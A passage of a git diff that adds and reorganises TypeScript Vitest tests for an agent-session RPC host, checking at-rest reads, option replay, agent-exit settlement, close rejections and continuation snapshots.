fixture.rig.store.getRecord(SESSION)!.lease.runtimeFence, + turnScope: AGENT_JOURNAL_THREAD_SCOPE + } + ) + gate.resolve() + const first = await pending + if (first.status !== 'current' || !first.transcriptPath) { + throw new Error('Snapshot missing') + } + const path = first.transcriptPath + try { + const file = await readFile(path, 'utf8') + expect(file).toContain('EARLY_SAVED_MARKER') + expect(file).not.toMatch(/PRE_CLEAR_SECRET|DISCARDED_REWIND_SECRET|LATER_SAVED_MARKER/) + expect(first.capturedText?.length).toBeLessThanOrEqual(36_000) + expect(first.capturedText).toContain('Earlier saved chat messages omitted') + expect(first.capturedText).not.toContain('EARLY_SAVED_MARKER') + for (const text of [file, first.capturedText ?? '']) { + const prompts: unknown[] = [...text.matchAll(/^Saved prompt: (.+)$/gm)].map((match) => + JSON.parse(match[1]!) + ) + for (const [name, value] of [ + ['deployment', ' deploy to staging '], + ['explicit empty', ''], + ['whitespace', ' \t'] + ]) { + expect(prompts).toContainEqual(expect.objectContaining(question(name, value))) + } + expect(text).toMatch( + /"question":"unreadable"[^\n]*\nQuestion "input"\nSubmitted answer: unavailable/ + ) + expect(text).toMatch(/Prompt state: pending\nSaved prompt: .*"question":"pending ask"/) + expect(text).toMatch(/Prompt state: cancelled\nSaved prompt: .*"question":"cancelled ask"/) + const legacy = text.split('\n\n').find((row) => row.includes('"question":"legacy answer"'))! + expect(legacy).toContain('"selectedOptionId":"input:legacy%20deployment"') + expect(legacy.split('Legacy free text: "legacy deployment"')).toHaveLength(2) + expect(text).toContain( + 'Question "regions" (Region group)\nSelected choice: East\nSelected choice: West' + ) + expect(text).toContain('"question":"Which regions?"') + expect(text).toContain('"label":"East","description":"Primary region"') + expect(text).toContain( + 'Question "details"\nSelected choice: Known\nSelected choice: unavailable\nSubmitted free text: resolution.answers[1].other' + ) + expect(text).toContain('"other":"partial text"') + expect(text).toMatch(/Confirm yes[\s\S]*Selected choice: Yes/) + expect(text).toMatch(/Confirm no[\s\S]*Selected choice: No/) + expect(text).toContain( + '"subject":{"kind":"plan","text":"RETAINED_PLAN_MARKER","filePath":"/work/plan.md"}' + ) + expect(text).toContain( + '"matchedAskRule":{"source":"workspace","toolName":"Write","ruleContent":"Saved ask rule"}' + ) + expect(text).toContain('Selected choice: Keep planning') + const row = text + .split('\n\n') + .find((entry) => entry.includes('"question":"Edit release notes"'))! + expect(row).toContain('Prompt state: resolved') + expect(row).toContain(JSON.stringify(editor.body.freeTextInput)) + expect(row).toContain(JSON.stringify(answers)) + expect(row).toContain(`"selectedOptionId":${JSON.stringify(selectedOptionId)}`) + expect(row.split('\n').slice(2).join('\n')).toBe( + 'Question "editor"\nSubmitted free text: resolution.answers[0].other' + ) + } + expect(await call('agentSession.continuationContext', params)).toMatchObject([ + { + ok: true, + result: { + status: 'current', + transcriptPath: path, + capturedText: expect.stringContaining('LATER_SAVED_MARKER') + } + } + ]) + expect(await readFile(path, 'utf8')).toContain('LATER_SAVED_MARKER') + expect(await fixture.rig.host.continuationContext({ ...params, workspaceId: 'other' })).toEqual( + { + status: 'superseded' + } + ) + expect( + await fixture.rig.host.continuationContext({ + ...params, + expectedCursor: { epoch: 'other', sequence: 0 } + }) + ).toEqual({ status: 'superseded' }) + expect(fixture.rig.adapter.acquire).not.toHaveBeenCalled() + writing.mockRejectedValueOnce(new Error('disk unavailable')) + expect(await call('agentSession.continuationContext', params)).toMatchObject([{ ok: false }]) + } finally { + await rm(contextSnapshots.agentSessionContextSnapshotRoot(fixture.rig.root), { + recursive: true, + force: true + }) + } +}) diff --git a/src/main/runtime/rpc/methods/structured-agent-session-at-rest-lease.test.ts b/src/main/runtime/rpc/methods/structured-agent-session-at-rest-lease.test.ts new file mode 100644 index 00000000000..dff8078cf27 --- /dev/null +++ b/src/main/runtime/rpc/methods/structured-agent-session-at-rest-lease.test.ts @@ -0,0 +1,52 @@ +import '../unused-default-rpc-methods.test-fixture' +import { expect, it, vi } from 'vitest' +vi.mock('node:fs/promises', { spy: true }) +import { readFile } from 'node:fs/promises' +import { setStructuredAgentSessionHost } from '../../../native-chat/agent-session-wire/structured-agent-session-registry' +import { REST_TEST_SESSION as SESSION } from '../../../native-chat/agent-session-wire/structured-agent-session-rest-test-rig' +import { + editPersistedTestAgentSessionStore, + readPersistedTestAgentSessionStore +} from '../../agent-session-record-store-test-harness' + +import { fixture, call, restingChat } from './structured-agent-session-rest-contract-test-fixture' + +it('hands off a readable saved conversation without granting its invalid execution lease authority', async () => { + await restingChat() + const { cursor } = await fixture.rig.host.journalSnapshot(SESSION) + await fixture.rig.host.flushAllStreamedEvents() + await editPersistedTestAgentSessionStore(fixture.rig.root, (persisted) => { + Object.assign(persisted.records[SESSION].lease, { minimumNextFence: 'bad' }) + }) + await fixture.rig.restart() + setStructuredAgentSessionHost(fixture.rig.host) + expect(fixture.rig.store.getRecord(SESSION)).toBeNull() + expect(fixture.rig.store.getConversation(SESSION)?.location.workspaceId).toBe('workspace-1') + const saved = (await readPersistedTestAgentSessionStore(fixture.rig.root)).records[SESSION] + const params = { sessionId: SESSION, workspaceId: 'workspace-1', expectedCursor: cursor } + const result = await fixture.rig.host.continuationContext(params) + expect(result).toMatchObject({ + status: 'current', + capturedText: expect.stringContaining('hello') + }) + if (result.status !== 'current' || !result.transcriptPath) { + throw new Error('Saved conversation snapshot missing') + } + expect(await readFile(result.transcriptPath, 'utf8')).toContain('hello') + expect(await call('agentSession.continuationContext', params)).toMatchObject([ + { ok: true, result } + ]) + for (const stale of [ + { ...params, workspaceId: 'other' }, + { ...params, expectedCursor: { ...cursor, epoch: 'other' } }, + { ...params, expectedCursor: { ...cursor, sequence: cursor.sequence + 1 } } + ]) { + expect(await fixture.rig.host.continuationContext(stale)).toEqual({ status: 'superseded' }) + } + expect(fixture.rig.store.getRecord(SESSION)).toBeNull() + expect((await readPersistedTestAgentSessionStore(fixture.rig.root)).records[SESSION]).toEqual( + saved + ) + expect(fixture.rig.adapter.acquire).not.toHaveBeenCalled() + expect(fixture.rig.adapter.dispatch).not.toHaveBeenCalled() +}) diff --git a/src/main/runtime/rpc/methods/structured-agent-session-at-rest-options.test.ts b/src/main/runtime/rpc/methods/structured-agent-session-at-rest-options.test.ts new file mode 100644 index 00000000000..820494c34ce --- /dev/null +++ b/src/main/runtime/rpc/methods/structured-agent-session-at-rest-options.test.ts @@ -0,0 +1,172 @@ +import '../unused-default-rpc-methods.test-fixture' +vi.mock('node:fs/promises', { spy: true }) +import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../../shared/agent-session-journal-types' +import { expect, it, vi } from 'vitest' +import { computeAgentSessionPayloadFingerprint } from '../../../../shared/agent-session-mutation-envelope' +import { activeStructuredAgentSessionTurnId } from '../../../../shared/structured-agent-session-projection' +import { hostTestOperationId } from '../../../native-chat/agent-session-wire/structured-agent-session-host-test-data' +import { setStructuredAgentSessionHost } from '../../../native-chat/agent-session-wire/structured-agent-session-registry' +import { + foundRestTestChat, + REST_TEST_CALLER as CALLER, + REST_TEST_SESSION as SESSION, + REST_TEST_THREAD, + restTestSend +} from '../../../native-chat/agent-session-wire/structured-agent-session-rest-test-rig' +import { closeStructuredAgentSessionChild } from '../../agent-session/structured-agent-session-close' +import { discardStructuredWorkerSession } from './orchestration-structured-worker-session' +import { claudeAndCodexDeclared } from '../../../native-chat/agent-session-wire/structured-agent-session-adapter-router-test-support' + +import { fixture, call, restingChat } from './structured-agent-session-rest-contract-test-fixture' + +it('records a pick as intent and replays it at the next start (P2-16)', async () => { + await restingChat() + const fields = { key: 'model', value: 'gpt-picked' } + const [picked] = await call('agentSession.setOption', { + envelope: { + sessionId: SESSION, + clientOperationId: hostTestOperationId(), + expectedRuntimeFence: fixture.rig.store.getRecord(SESSION)!.lease.runtimeFence, + payloadFingerprint: computeAgentSessionPayloadFingerprint({ + method: 'agentSession.setOption', + sessionId: SESSION, + fields + }) + }, + ...fields + }) + expect(picked).toMatchObject({ ok: true, result: { ok: true } }) + expect(fixture.rig.store.getRecord(SESSION)?.options).toMatchObject({ model: 'gpt-picked' }) + expect(fixture.rig.adapter.acquire).not.toHaveBeenCalled() + + const fence = fixture.rig.store.getRecord(SESSION)!.lease.runtimeFence + await fixture.rig.host.send(CALLER, restTestSend('use the new model', fence)) + await vi.waitFor(() => expect(fixture.rig.adapter.acquire).toHaveBeenCalledOnce()) + expect(fixture.rig.adapter.acquire.mock.calls[0]?.[0]).toMatchObject({ + options: expect.objectContaining({ model: 'gpt-picked' }) + }) +}) + +it('answers the provider-level features of a chat at rest (P2-17)', async () => { + await restingChat() + setStructuredAgentSessionHost(await fixture.rig.restart({ agents: claudeAndCodexDeclared() })) + Object.assign(fixture.rig.host.deps.adapter, { + rewindSupport: (_id: string, agent?: string) => + agent === 'codex' ? { supported: true } : { supported: false, reason: 'unsupported' } + }) + const [options] = await call('agentSession.options', { sessionId: SESSION }) + expect(options).toMatchObject({ + ok: true, + result: { threadGoal: { current: null }, rewind: { supported: true } } + }) + expect(fixture.rig.adapter.acquire).not.toHaveBeenCalled() + expect(fixture.rig.adapter.readOptions).not.toHaveBeenCalled() +}) + +it('is shown, not respawned; the next send starts the agent (P2-18)', async () => { + await foundRestTestChat(fixture.rig) + const running = fixture.rig.host.collaboratorsForTests().sessions.get(SESSION)!.child! + await fixture.rig.host.handleAdapterEvent({ + type: 'ended', + sessionId: SESSION, + reason: 'killed', + cause: 'unexpected-exit', + fence: running.fence, + acquisitionGeneration: running.generation! + }) + // ast-grep-ignore: test-no-real-time-wait -- proves no respawn follows the exit; an absence has no condition to wait on. + await new Promise((resolve) => setTimeout(resolve, 50)) + expect(fixture.rig.adapter.acquire).toHaveBeenCalledOnce() + + const fence = fixture.rig.store.getRecord(SESSION)!.lease.runtimeFence + expect(fixture.rig.store.getRecord(SESSION)?.lease.claimStatus).toBe('released') + await fixture.rig.host.send(CALLER, restTestSend('again', fence)) + await vi.waitFor(() => expect(fixture.rig.adapter.acquire).toHaveBeenCalledTimes(2)) +}) + +it('whose settlement write failed is settled by the next send, which is delivered', async () => { + await foundRestTestChat(fixture.rig) + const open = fixture.rig.host.collaboratorsForTests().sessions.get(SESSION)! + const running = open.child! + // A turn in flight, so the exit has something to settle. + fixture.rig.adapter.acquire.mock.calls + .at(-1)?.[0] + .events?.appendItem( + { provider: 'codex', threadId: REST_TEST_THREAD, turnId: 'working', ordinal: 50 }, + { kind: 'turn', turnId: 'working', state: 'running' }, + { turnScope: AGENT_JOURNAL_THREAD_SCOPE } + ) + await fixture.rig.host.flushStreamedEvents(SESSION) + // Refuse both the exit write and its queued retry to test retained death evidence. + vi.spyOn(open.journal, 'appendLifecycleBatch') + .mockRejectedValueOnce(new Error('disk full')) + .mockRejectedValueOnce(new Error('disk full')) + await fixture.rig.host.handleAdapterEvent({ + type: 'ended', + sessionId: SESSION, + reason: 'killed', + cause: 'unexpected-exit', + fence: running.fence, + acquisitionGeneration: running.generation! + }) + // Released with its death evidence, not latched: the next acquire settles from that evidence. + await vi.waitFor(() => + expect(fixture.rig.store.getRecord(SESSION)?.lease).toMatchObject({ + claimStatus: 'released', + deathEvidence: { kind: 'exit-observed' } + }) + ) + await fixture.rig.host.collaboratorsForTests().serialize(SESSION, async () => {}) + + const sent = await fixture.rig.host.send( + CALLER, + restTestSend('again', fixture.rig.store.getRecord(SESSION)!.lease.runtimeFence) + ) + + if (!sent.ok) { + throw new Error(`send refused: ${sent.refusal.code}`) + } + await fixture.rig.host.waitForSendSettlement(SESSION, sent.value.clientMessageId) + expect(fixture.rig.adapter.dispatch).toHaveBeenCalledTimes(2) + expect( + activeStructuredAgentSessionTurnId((await fixture.rig.host.journalSnapshot(SESSION)).items) + ).not.toBe('working') +}) + +it.each([ + ['the close RPC', async () => void (await call('agentSession.close', { sessionId: SESSION }))], + ['the runtime chat close', async () => void (await closeStructuredAgentSessionChild(SESSION))], + [ + 'a discarded worker', + () => + // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the discard reads only this runtime member. + discardStructuredWorkerSession(SESSION, { + retireStructuredAgentSessionTabFromSnapshot: () => undefined + } as never) + ] +])('%s rejects a message accepted before any start, and starts nothing', async (_, close) => { + await restingChat() + const { loop } = fixture.rig.host.collaboratorsForTests().conversationDelivery + vi.spyOn(loop, 'wake').mockImplementation(() => Promise.resolve()) + const reader: unknown[] = [] + await fixture.rig.host.subscribe({ + id: 'reader', + sessionId: SESSION, + emit: (event) => reader.push(event) + }) + const fence = fixture.rig.store.getRecord(SESSION)!.lease.runtimeFence + expect( + (await fixture.rig.host.send(CALLER, restTestSend('closed before it went', fence))).ok + ).toBe(true) + + await close() + // A close's rejection is a sentence with its fact beside it, never a marker. + await vi.waitFor(() => + expect(JSON.stringify(reader)).toContain( + '"reason":"The chat closed before this message was sent.","submittedAt"' + ) + ) + expect(JSON.stringify(reader)).toContain('"rejection":{"kind":"chatClosed"}') + expect(fixture.rig.host.hasSession(SESSION)).toBe(false) + expect(fixture.rig.adapter.acquire).not.toHaveBeenCalled() +}) diff --git a/src/main/runtime/rpc/methods/structured-agent-session-at-rest.test.ts b/src/main/runtime/rpc/methods/structured-agent-session-at-rest.test.ts index 541ed1a048e..e5a40219293 100644 --- a/src/main/runtime/rpc/methods/structured-agent-session-at-rest.test.ts +++ b/src/main/runtime/rpc/methods/structured-agent-session-at-rest.test.ts @@ -1,21 +1,16 @@ -import * as fileOperations from 'node:fs/promises' -import { readFile, rm } from 'node:fs/promises' -import * as contextSnapshots from '../../../native-chat/agent-session-context-snapshots' -import { piRpcDialogPresentation } from '../../../pi/rpc-extension-dialogs' -import { legacyAgentSessionSelectedOptionId } from '../../../../shared/agent-session-question-answer' -import type { - AgentJournalItemBody, - AgentJournalResolution, - AgentJournalQuestionItem -} from '../../../../shared/agent-session-journal-types' import '../unused-default-rpc-methods.test-fixture' +vi.mock('node:fs/promises', { spy: true }) import { AGENT_JOURNAL_THREAD_SCOPE } from '../../../../shared/agent-session-journal-types' -// Exercise real chat RPC: reads at rest start nothing; the first message starts the agent. - -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' +import { expect, it, vi } from 'vitest' import { computeAgentSessionPayloadFingerprint } from '../../../../shared/agent-session-mutation-envelope' -import { STRUCTURED_AGENT_SESSION_RUNTIME_CAPABILITY } from '../../../../shared/protocol-version' -import { activeStructuredAgentSessionTurnId } from '../../../../shared/structured-agent-session-projection' +import { AGENT_SESSION_OPTIONAL_MODEL_CLIENT_CAPABILITY } from '../../../../shared/agent-session-optional-model-capability' +import { agentSessionOperationKey } from '../../../../shared/agent-session-operation-ledger' +import { CODEX_SESSION_OPTION_CATALOG } from '../../../../shared/agent-session-option-catalog-claude-codex' +import { + commitStructuredAgentSessionOptionValues, + createStructuredAgentSessionOptionState, + structuredAgentSessionOptionPicks +} from '../../../../shared/structured-agent-session-options' import { hostTestAttachParams, hostTestMessage, @@ -23,798 +18,418 @@ import { } from '../../../native-chat/agent-session-wire/structured-agent-session-host-test-data' import { setStructuredAgentSessionHost } from '../../../native-chat/agent-session-wire/structured-agent-session-registry' import { - createRestTestRig, foundRestTestChat, REST_TEST_CALLER as CALLER, REST_TEST_SESSION as SESSION, REST_TEST_THREAD, - restTestSend, - type RestTestRig + restTestSend } from '../../../native-chat/agent-session-wire/structured-agent-session-rest-test-rig' -import { - editPersistedTestAgentSessionStore, - readPersistedTestAgentSessionStore -} from '../../agent-session-record-store-test-harness' -import { OrcaRuntimeService } from '../../orca-runtime' +import { editPersistedTestAgentSessionStore } from '../../agent-session-record-store-test-harness' import type { RpcResponse } from '../core' -import { RpcDispatcher } from '../dispatcher' -import { closeStructuredAgentSessionChild } from '../../agent-session/structured-agent-session-close' -import { discardStructuredWorkerSession } from './orchestration-structured-worker-session' -import { STRUCTURED_AGENT_SESSION_METHODS } from './structured-agent-session' +import { openTestJournalHostDatabase } from '../../../native-chat/agent-session-journal/journal-host-database-test-support' + import { - liveTestJournalRows, - openTestJournalHostDatabase, - updateTestJournalRowJson -} from '../../../native-chat/agent-session-journal/journal-host-database-test-support' -import { claudeAndCodexDeclared } from '../../../native-chat/agent-session-wire/structured-agent-session-adapter-router-test-support' + CLIENT, + fixture, + call, + restingChat +} from './structured-agent-session-rest-contract-test-fixture' -vi.mock('node:fs/promises', { spy: true }) -const actualFiles = await vi.importActual('node:fs/promises') - -const CLIENT = { - clientId: 'device-1', - clientKind: 'runtime' as const, - clientCapabilities: [STRUCTURED_AGENT_SESSION_RUNTIME_CAPABILITY], - connectionId: 'connection-1' +function optionRequest(value: string, sessionId = SESSION) { + const fields = { key: 'model', value } + return { + ...fields, + envelope: { + sessionId, + clientOperationId: hostTestOperationId(), + expectedRuntimeFence: fixture.rig.store.getRecord(sessionId)!.lease.runtimeFence, + payloadFingerprint: computeAgentSessionPayloadFingerprint({ + method: 'agentSession.setOption', + sessionId, + fields + }) + } + } } -let rig: RestTestRig -let dispatcher: RpcDispatcher -let requests = 0 - -async function call(method: string, params: unknown): Promise { - const replies: RpcResponse[] = [] - requests += 1 - await dispatcher.dispatchStreaming( - { id: `request-${requests}`, authToken: 'token', method, params }, - (raw) => replies.push(JSON.parse(raw) as RpcResponse), - CLIENT - ) - return replies -} - -/** A chat that once ran, reopened by a fresh host: nothing of it is in memory. */ -async function restingChat(): Promise { - await foundRestTestChat(rig) - await rig.store.replaceSessionOptions({ - sessionId: SESSION, - fence: rig.store.getRecord(SESSION)!.lease.runtimeFence, - options: { model: 'gpt-saved', effort: 'high' }, - now: rig.clock.now - }) - await rig.restart() - setStructuredAgentSessionHost(rig.host) - rig.adapter.acquire.mockClear() - rig.adapter.dispatch.mockClear() - rig.adapter.readOptions.mockClear() -} - -beforeEach(async () => { - requests = 0 - rig = await createRestTestRig({ idleSweep: { intervalMs: 3_600_000 } }) - setStructuredAgentSessionHost(rig.host) - const runtime = new OrcaRuntimeService() - - dispatcher = new RpcDispatcher({ runtime, methods: STRUCTURED_AGENT_SESSION_METHODS }) -}) - -afterEach(async () => { - vi.restoreAllMocks() - setStructuredAgentSessionHost(null) - await rig.dispose() - await actualFiles.rm(contextSnapshots.agentSessionContextSnapshotRoot(rig.root), { - recursive: true, - force: true - }) -}) - -describe('opening a chat at rest (P2-01)', () => { - it('reads, subscribes and answers everything without starting an agent', async () => { - await restingChat() - expect(rig.host.hasSession(SESSION)).toBe(false) - - const [history] = await call('agentSession.history', { sessionId: SESSION, direction: 'tail' }) - const frames = await call('agentSession.subscribe', { sessionId: SESSION }) - const [options] = await call('agentSession.options', { sessionId: SESSION }) - const [commands] = await call('agentSession.commands', { sessionId: SESSION }) - const [outline] = await call('agentSession.conversationOutline', { sessionId: SESSION }) - const [status] = await call('agentSession.handoffStatus', { sessionId: SESSION }) - const [held] = await call('agentSession.hold', { sessionId: SESSION, holderId: 'pane' }) - - expect(rig.adapter.acquire).not.toHaveBeenCalled() - expect(history).toMatchObject({ ok: true, result: { ok: true } }) - const snapshot = frames.find((frame) => frame.ok && 'result' in frame) - expect(snapshot).toMatchObject({ result: { type: 'snapshot', commands: null } }) - expect(options).toMatchObject({ - ok: true, - result: { current: { model: 'gpt-saved', effort: 'high' } } - }) - // Absent, never an empty list: the composer keeps its own menu. - expect(commands).toMatchObject({ ok: true, result: {} }) - expect(commands?.ok && 'result' in commands && commands.result).not.toHaveProperty( - 'commands', - [] - ) - expect(outline).toMatchObject({ ok: true }) - expect(status).toMatchObject({ ok: true }) - expect(held).toMatchObject({ ok: true, result: { held: true } }) - }) - - it('answers the owner check from the record without opening the chat', async () => { - await restingChat() - - const [status] = await call('agentSession.handoffStatus', { sessionId: SESSION }) - - expect(status).toMatchObject({ ok: true, result: { owner: expect.any(String) } }) - expect(rig.host.hasSession(SESSION)).toBe(false) - }) - - it('starts the agent on the first send (P2-01)', async () => { - await restingChat() - const fence = rig.store.getRecord(SESSION)!.lease.runtimeFence - const sent = await rig.host.send(CALLER, restTestSend('wake up', fence)) - if (!sent.ok) { - throw new Error(`send refused: ${sent.refusal.code}`) - } - // Awaits the provider's answer itself rather than polling for it, however slow the start. - await rig.host.waitForSendSettlement(SESSION, sent.value.clientMessageId) - expect(rig.adapter.acquire).toHaveBeenCalledOnce() - expect(rig.adapter.dispatch).toHaveBeenCalledOnce() - }) -}) - -describe('the accessor', () => { - it('opens a closed conversation once, however many readers arrive together (P2-02)', async () => { - const attached = await rig.host.attach(CALLER, hostTestAttachParams(null)) - expect(attached.ok).toBe(true) - rig.adapter.acquire.mock.calls - .at(-1)?.[0] - .events?.appendItem( - { provider: 'codex', threadId: REST_TEST_THREAD, turnId: 'turn-1', ordinal: 1 }, - hostTestMessage('from the provider'), - { turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - await rig.host.flushStreamedEvents(SESSION) - await rig.restart() - setStructuredAgentSessionHost(rig.host) - rig.adapter.acquire.mockClear() - const open = vi.spyOn(rig.host.collaboratorsForTests().conversationDelivery, 'open') - await Promise.all([ - ...Array.from({ length: 5 }, () => - call('agentSession.history', { sessionId: SESSION, direction: 'tail' }) - ), - call('agentSession.subscribe', { sessionId: SESSION }) - ]) - const openedJournals = new Set( - await Promise.all(open.mock.results.map((result) => result.value)) - ) - expect(openedJournals.size).toBe(1) - expect(rig.adapter.acquire).not.toHaveBeenCalled() - }) - - it('opens nothing once quit began, for a read that was already waiting on the lock', async () => { - await restingChat() - // The host's per-session queue, held so the read waits behind it. - const { serialize, lifetime } = rig.host.collaboratorsForTests() - let release = (): void => undefined - const held = new Promise((started) => { - void serialize(SESSION, () => { - started() - return new Promise((resolve) => (release = resolve)) - }) - }) - await held - const read = rig.host.history({ sessionId: SESSION, direction: 'tail' }) - - // Disposed as quit's first teardown step does. - lifetime.dispose() - release() - - await expect(read).rejects.toThrow() - expect(rig.host.hasSession(SESSION)).toBe(false) - }) - - it('refuses a read it cannot open with the reason, under the same code and message', async () => { - const [missing] = await call('agentSession.history', { - sessionId: 'session-never-created', - direction: 'tail' - }) - expect(missing).toMatchObject({ - ok: false, - error: { - code: 'agent_session_identity_required', - message: 'agent_session_identity_required', - data: { - refusal: { - code: 'agent_session_identity_required', - details: { reason: 'recordMissing' } - } - } - } - }) - }) - - it('refuses a read whose journal will not open with the classified reason, never the storage text', async () => { - await restingChat() - const open = vi.spyOn(rig.host.collaboratorsForTests().conversationDelivery, 'open') - vi.spyOn(console, 'warn').mockImplementation(() => undefined) - const storagePath = '/Users/someone/.orca/journals/session-1/journal.sqlite' - const failWith = (error: Error): void => { - open.mockRejectedValue(error) - } - const failures = async (): Promise => - [ - ...(await call('agentSession.history', { sessionId: SESSION, direction: 'tail' })), - ...(await call('agentSession.subscribe', { sessionId: SESSION })), - ...(await call('agentSession.options', { sessionId: SESSION })) - ].filter((reply) => !reply.ok) - - failWith( - Object.assign(new Error(`file is not a database: ${storagePath}`), { - code: 'ERR_SQLITE_ERROR', - errcode: 26 - }) - ) - const corrupt = await failures() - failWith(Object.assign(new Error(`EACCES: permission denied, open '${storagePath}'`), {})) - const unavailable = await failures() - - for (const [replies, reason] of [ - [corrupt, 'journalCorrupt'], - [unavailable, 'journalUnavailable'] - ] as const) { - expect(replies).toHaveLength(3) - for (const reply of replies) { - expect(reply).toMatchObject({ - ok: false, - error: { - // Released clients still read this refusal code from the message, not passthrough code. - code: 'runtime_error', - message: 'agent_session_journal_unreadable', - data: { refusal: { code: 'agent_session_journal_unreadable', details: { reason } } } - } - }) - expect(JSON.stringify(reply)).not.toContain(storagePath) - } - } - }) - - it('logs a reader reconnecting to a journal that will not open once per failure', async () => { - await restingChat() - const open = vi.spyOn(rig.host.collaboratorsForTests().conversationDelivery, 'open') - const warn = vi.spyOn(console, 'warn').mockImplementation(() => undefined) - const logged = (): unknown[] => - warn.mock.calls - .filter( - ([line]) => - line === '[agent-session] open-for-read: opening the conversation for a read failed' - ) - .map(([, fields]) => fields?.error) - const reconnect = async (): Promise => [ - ...(await call('agentSession.subscribe', { sessionId: SESSION })), - ...(await call('agentSession.history', { sessionId: SESSION, direction: 'tail' })) - ] - const denied = new Error('EACCES: permission denied') - const exhausted = new Error('EMFILE: too many open files') - - open.mockRejectedValue(denied) - for (let attempt = 0; attempt < 4; attempt += 1) { - // Every attempt is still refused with its reason; only the log is quiet. - expect((await reconnect()).filter((reply) => !reply.ok)).toHaveLength(2) - } - expect(logged()).toEqual([denied]) - open.mockRejectedValue(exhausted) - await reconnect() - await reconnect() - expect(logged()).toEqual([denied, exhausted]) - }) - - it('refuses a damaged journal as unloadable at subscribe and send, and keeps its rows (P2-03)', async () => { - await foundRestTestChat(rig) - await rig.host.flushAllStreamedEvents() - updateTestJournalRowJson(openTestJournalHostDatabase(rig.root).db, SESSION, 2, '}{') - await rig.restart() - setStructuredAgentSessionHost(rig.host) - - const frames = await call('agentSession.subscribe', { sessionId: SESSION }) - expect(frames.find((frame) => !frame.ok)).toMatchObject({ - error: { - data: { - refusal: { - code: 'agent_session_journal_unreadable', - details: { reason: 'journalCorrupt' } - } - } - } - }) - const fence = rig.store.getRecord(SESSION)!.lease.runtimeFence - expect(await rig.host.send(CALLER, restTestSend('after the damage', fence))).toMatchObject({ - ok: false, - refusal: { code: 'agent_session_journal_unreadable', details: { reason: 'journalCorrupt' } } - }) - expect( - liveTestJournalRows(openTestJournalHostDatabase(rig.root).db, SESSION).find( - (row) => row.seq === 2 - )?.rowJson - ).toBe('}{') - }) - - it('subscribes an old mobile client that holds first even when no agent can start (P2-06)', async () => { - await restingChat() - rig.adapter.acquire.mockRejectedValue(new Error('auth expired')) - - const [held] = await call('agentSession.hold', { sessionId: SESSION, holderId: 'mobile' }) - const frames = await call('agentSession.subscribe', { sessionId: SESSION }) - expect(held).toMatchObject({ ok: true }) - expect(frames.find((frame) => frame.ok)).toMatchObject({ result: { type: 'snapshot' } }) - expect(rig.adapter.acquire).not.toHaveBeenCalled() - }) -}) - -describe('options at rest', () => { - it('records a pick as intent and replays it at the next start (P2-16)', async () => { - await restingChat() - const fields = { key: 'model', value: 'gpt-picked' } - const [picked] = await call('agentSession.setOption', { - envelope: { - sessionId: SESSION, - clientOperationId: hostTestOperationId(), - expectedRuntimeFence: rig.store.getRecord(SESSION)!.lease.runtimeFence, - payloadFingerprint: computeAgentSessionPayloadFingerprint({ - method: 'agentSession.setOption', - sessionId: SESSION, - fields - }) - }, - ...fields - }) - expect(picked).toMatchObject({ ok: true, result: { ok: true } }) - expect(rig.store.getRecord(SESSION)?.options).toMatchObject({ model: 'gpt-picked' }) - expect(rig.adapter.acquire).not.toHaveBeenCalled() - - const fence = rig.store.getRecord(SESSION)!.lease.runtimeFence - await rig.host.send(CALLER, restTestSend('use the new model', fence)) - await vi.waitFor(() => expect(rig.adapter.acquire).toHaveBeenCalledOnce()) - expect(rig.adapter.acquire.mock.calls[0]?.[0]).toMatchObject({ - options: expect.objectContaining({ model: 'gpt-picked' }) - }) - }) - - it('answers the provider-level features of a chat at rest (P2-17)', async () => { - await restingChat() - setStructuredAgentSessionHost(await rig.restart({ agents: claudeAndCodexDeclared() })) - Object.assign(rig.host.deps.adapter, { - rewindSupport: (_id: string, agent?: string) => - agent === 'codex' ? { supported: true } : { supported: false, reason: 'unsupported' } - }) - const [options] = await call('agentSession.options', { sessionId: SESSION }) - expect(options).toMatchObject({ - ok: true, - result: { threadGoal: { current: null }, rewind: { supported: true } } - }) - expect(rig.adapter.acquire).not.toHaveBeenCalled() - expect(rig.adapter.readOptions).not.toHaveBeenCalled() - }) -}) - -describe('an agent exit', () => { - it('is shown, not respawned; the next send starts the agent (P2-18)', async () => { - await foundRestTestChat(rig) - const running = rig.host.collaboratorsForTests().sessions.get(SESSION)!.child! - await rig.host.handleAdapterEvent({ - type: 'ended', - sessionId: SESSION, - reason: 'killed', - cause: 'unexpected-exit', - fence: running.fence, - acquisitionGeneration: running.generation! - }) - await new Promise((resolve) => setTimeout(resolve, 50)) - expect(rig.adapter.acquire).toHaveBeenCalledOnce() - - const fence = rig.store.getRecord(SESSION)!.lease.runtimeFence - expect(rig.store.getRecord(SESSION)?.lease.claimStatus).toBe('released') - await rig.host.send(CALLER, restTestSend('again', fence)) - await vi.waitFor(() => expect(rig.adapter.acquire).toHaveBeenCalledTimes(2)) - }) - - it('whose settlement write failed is settled by the next send, which is delivered', async () => { - await foundRestTestChat(rig) - const open = rig.host.collaboratorsForTests().sessions.get(SESSION)! - const running = open.child! - // A turn in flight, so the exit has something to settle. - rig.adapter.acquire.mock.calls - .at(-1)?.[0] - .events?.appendItem( - { provider: 'codex', threadId: REST_TEST_THREAD, turnId: 'working', ordinal: 50 }, - { kind: 'turn', turnId: 'working', state: 'running' }, - { turnScope: AGENT_JOURNAL_THREAD_SCOPE } - ) - await rig.host.flushStreamedEvents(SESSION) - // Refuse both the exit write and its queued retry to test retained death evidence. - vi.spyOn(open.journal, 'appendLifecycleBatch') - .mockRejectedValueOnce(new Error('disk full')) - .mockRejectedValueOnce(new Error('disk full')) - await rig.host.handleAdapterEvent({ - type: 'ended', - sessionId: SESSION, - reason: 'killed', - cause: 'unexpected-exit', - fence: running.fence, - acquisitionGeneration: running.generation! - }) - // Released with its death evidence, not latched: the next acquire settles from that evidence. - await vi.waitFor(() => - expect(rig.store.getRecord(SESSION)?.lease).toMatchObject({ - claimStatus: 'released', - deathEvidence: { kind: 'exit-observed' } - }) - ) - await rig.host.collaboratorsForTests().serialize(SESSION, async () => {}) - - const sent = await rig.host.send( - CALLER, - restTestSend('again', rig.store.getRecord(SESSION)!.lease.runtimeFence) - ) - - if (!sent.ok) { - throw new Error(`send refused: ${sent.refusal.code}`) - } - await rig.host.waitForSendSettlement(SESSION, sent.value.clientMessageId) - expect(rig.adapter.dispatch).toHaveBeenCalledTimes(2) - expect( - activeStructuredAgentSessionTurnId((await 